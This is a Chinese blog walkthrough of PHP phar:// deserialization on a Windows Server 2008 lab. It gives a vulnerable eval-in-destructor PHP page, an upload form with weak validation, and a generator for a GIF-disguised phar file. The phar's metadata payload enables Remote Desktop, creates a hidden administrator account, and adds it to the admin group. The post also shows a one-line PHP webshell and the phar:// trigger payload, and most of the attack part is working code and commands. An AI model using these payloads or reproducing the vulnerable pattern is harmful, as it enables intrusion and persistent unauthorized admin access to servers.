phar://反序列化的利用【windows远程登录】

前言

一、环境搭建

​ 

二、详细解释

1.phar反序列化

2.关键1

3.关键2

三、运行测试 

四、总结



前言

看到CTF很多题都有关于phar://绕过文件上传配合反序列化利用的。但是实战中大概率不存在这么巧合的点。

在了解phar://时,看很多博客都是写入phpinfo()来执行的。我突发脑洞,既然可以执行phpinfo,那么可不可以写马获得shell呢?

由于对php对象不是很了解,踩了很多坑记录一下。

windows server 2008、php5.5.38、权限是管理员权限,所以可以远程登录。


一、环境搭建

在phpstudy下。创建一个目录。写入如下几个文件

index.php

<?php
echo "ssss";
$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
file_exists($filename);
?>

 phar_create.php

<?php

class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('../phar.phar');//上一级目录
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';
$phar -> setMetadata($object);
$phar -> stopBuffering();
echo 'phar 生成在上一级目录';
?>

 upload.html

<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "./" .$_FILES["file"]["name"]);
      echo "Stored in: " . "./" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

浏览器访问 

二、详细解释

1.phar反序列化

具体看其他大牛的博客

2.关键1

主要是index.php中的

    function __destruct()
    {
        eval($this -> data);
    }

所以在file_exists(”phar://../phar.phar“);触发反序列化然后时触发__destruct()执行命令。

3.关键2

本来我是想利用写入文件的,奈何后面在利用时不会执行这条命令,不知道为什么。。。。

$object -> data = 'file_put_contents(”cmd.php“,"<?php eval(\$_POST[cmd]);?>");'

echo `dir`; 加上反引号可以命令执行

$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';

三、运行测试 

这是生成phar包会产生的效果,对了如果报错说明要修改php.ini 文件,去掉; 改成off

下面我们删除账户关掉3389,net user asdf$ /del && taskkill /pid 6424 /f

 哎呀 忘了改后缀为gif 再上传了。不过没关系效果是一样的。

 payload = filename=phar://../phar.phar

 

 

 

四、总结

其他脑洞可以自行发挥啦 好累 做这个搞了好久好久。。。。。睡觉觉了。。。。。。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值